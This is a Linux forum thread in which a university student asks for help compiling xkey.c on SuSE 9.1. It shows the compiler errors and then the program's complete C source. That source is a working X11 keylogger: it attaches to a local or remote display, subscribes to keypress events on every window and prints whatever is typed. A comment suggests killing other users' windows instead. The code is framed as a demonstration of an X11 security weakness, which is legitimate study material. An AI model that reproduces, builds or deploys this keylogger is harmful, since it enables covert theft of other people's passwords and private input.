Linux - SoftwareThis forum is for Software issues.
Having a problem installing a new program? Want to know which application is best for the job? Post your question in this forum.
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
After a few unsuccessful attempts at compiling xkey.c and a few hours of searching online and reading man pages I have decided to finally ask for help. I have recently begun using linux for network maintenance and administration classes at uni so I assume my mistake is a pretty simple one. I am running SuSe9.1 personal and downloaded gcc. When I try to compile xkey.c I get the following errors:
Code:
XKEY.C:12:19: X11/X.h: No such file or directory
XKEY.C:13:22: X11/Xlib.h: No such file or directory
XKEY.C:14:27: X11/Intrinsic.h: No such file or directory
XKEY.C:15:28: X11/StringDefs.h: No such file or directory
XKEY.C:16:23: X11/Xutil.h: No such file or directory
XKEY.C:17:23: X11/Shell.h: No such file or directory
XKEY.C:18: error: `XEvent' was not declared in this scope
XKEY.C:18: error: `ev' was not declared in this scope
XKEY.C:19: error: syntax error before `*' token
XKEY.C:20: error: `Window' was not declared in this scope
XKEY.C:20: error: syntax error before `,' token
XKEY.C: In function `void snoop_all_windows(...)':
XKEY.C:23: error: `Window' undeclared (first use this function)
XKEY.C:23: error: (Each undeclared identifier is reported only once for each
function it appears in.)
XKEY.C:23: error: syntax error before `,' token
XKEY.C:27: error: `d' undeclared (first use this function)
XKEY.C:27: error: `root' undeclared (first use this function)
XKEY.C:27: error: `parent' undeclared (first use this function)
XKEY.C:27: error: `children' undeclared (first use this function)
XKEY.C:27: error: `XQueryTree' undeclared (first use this function)
XKEY.C:28: error: `FALSE' undeclared (first use this function)
XKEY.C:44: error: `type' undeclared (first use this function)
XKEY.C:44: error: `XSelectInput' undeclared (first use this function)
XKEY.C:50: error: `XFree' undeclared (first use this function)
XKEY.C: At global scope:
XKEY.C:53: error: `main' must return `int'
XKEY.C: In function `int main(...)':
XKEY.C:56: error: `XEvent' undeclared (first use this function)
XKEY.C:56: error: syntax error before `;' token
XKEY.C:62: error: `XOpenDisplay' undeclared (first use this function)
XKEY.C:66: error: `exit' undeclared (first use this function)
XKEY.C:68: error: `DefaultRootWindow' undeclared (first use this function)
XKEY.C:68: error: `KeyPressMask' undeclared (first use this function)
XKEY.C:71: error: `xev' undeclared (first use this function)
XKEY.C:71: error: `XNextEvent' undeclared (first use this function)
XKEY.C:72: error: `TranslateKeyCode' cannot be used as a function
XKEY.C:77: error: `strlen' undeclared (first use this function)
XKEY.C: At global scope:
XKEY.C:86: error: `ev' was not declared in this scope
XKEY.C:87: error: redefinition of `char*TranslateKeyCode'
XKEY.C:18: error: `char*TranslateKeyCode' previously defined here
XKEY.C:87: error: syntax error before `{' token
XKEY.C:90: error: 'KeySym' is used as a type, but is not defined as a type.
XKEY.C:91: error: syntax error before `if'
XKEY.C:94: error: `count' was not declared in this scope
XKEY.C:94: error: ISO C++ forbids declaration of `key_buff' with no type
XKEY.C:94: error: assignment (not initialization) in declaration
XKEY.C:95: error: syntax error before `if'
Ah! Thanks for that, I have the libs now and the error output has reduced from over 20 to less than 6 lines.
This is what I get now:
Code:
XKEY.C:53: error: `main' must return `int'
XKEY.C: In function `int main(...)':
XKEY.C:66: error: `exit' undeclared (first use this function)
XKEY.C:66: error: (Each undeclared identifier is reported only once for each
function it appears in.)
Seems like an undeclared variable but I dont know C. First thing im going to learn after midterm!!
Well here is the source code for xkey in case anyone would like to look at it.
Code:
#include <stdio.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
#include <X11/Xutil.h>
#include <X11/Shell.h>
char *TranslateKeyCode(XEvent *ev);
Display *d;
void snoop_all_windows(Window root, unsigned long type)
{
static int level = 0;
Window parent, *children, *child2;
unsigned int nchildren;
int stat, i,j,k;
level++;
stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
if (stat == FALSE)
{
fprintf(stderr, "Can't query window tree...\n");
return;
}
if (nchildren == 0)
return;
/* For a more drastic inidication of the problem being exploited
* here, you can change these calls to XSelectInput() to something
* like XClearWindow(d, children[i]) or if you want to be real
* nasty, do XKillWindow(d, children[i]). Of course if you do that,
* then you'll want to remove the loop in main().
*
* The whole point of this exercise being that I shouldn't be
* allowed to manipulate resources which do not belong to me.
*/
XSelectInput(d, root, type);
for(i=0; i < nchildren; i++)
{
XSelectInput(d, children[i], type);
snoop_all_windows(children[i], type);
}
XFree((char *)children);
}
void main(int argc, char **argv)
{
char *hostname;
char *string;
XEvent xev;
int count = 0;
if (argv[1] == NULL)
hostname = ":0";
else
hostname = argv[1];
d = XOpenDisplay(hostname);
if (d == NULL)
{
fprintf(stderr, "Blah, can't open display: %s\n", hostname);
exit(10);
}
snoop_all_windows(DefaultRootWindow(d), KeyPressMask);
while(1)
{
XNextEvent(d, &xev);
string = TranslateKeyCode(&xev);
if (string == NULL)
continue;
if (*string == '\r')
printf("\n");
else if (strlen(string) == 1)
printf("%s", string);
else
printf("<<%s>>", string);
fflush(stdout);
}
}
#define KEY_BUFF_SIZE 256
static char key_buff[KEY_BUFF_SIZE];
char *TranslateKeyCode(XEvent *ev)
{
int count;
char *tmp;
KeySym ks;
if (ev)
{
count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
key_buff[count] = '\0';
if (count == 0)
{
tmp = XKeysymToString(ks);
if (tmp)
strcpy(key_buff, tmp);
else
strcpy(key_buff, "");
}
return key_buff;
}
else
return NULL;
}
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.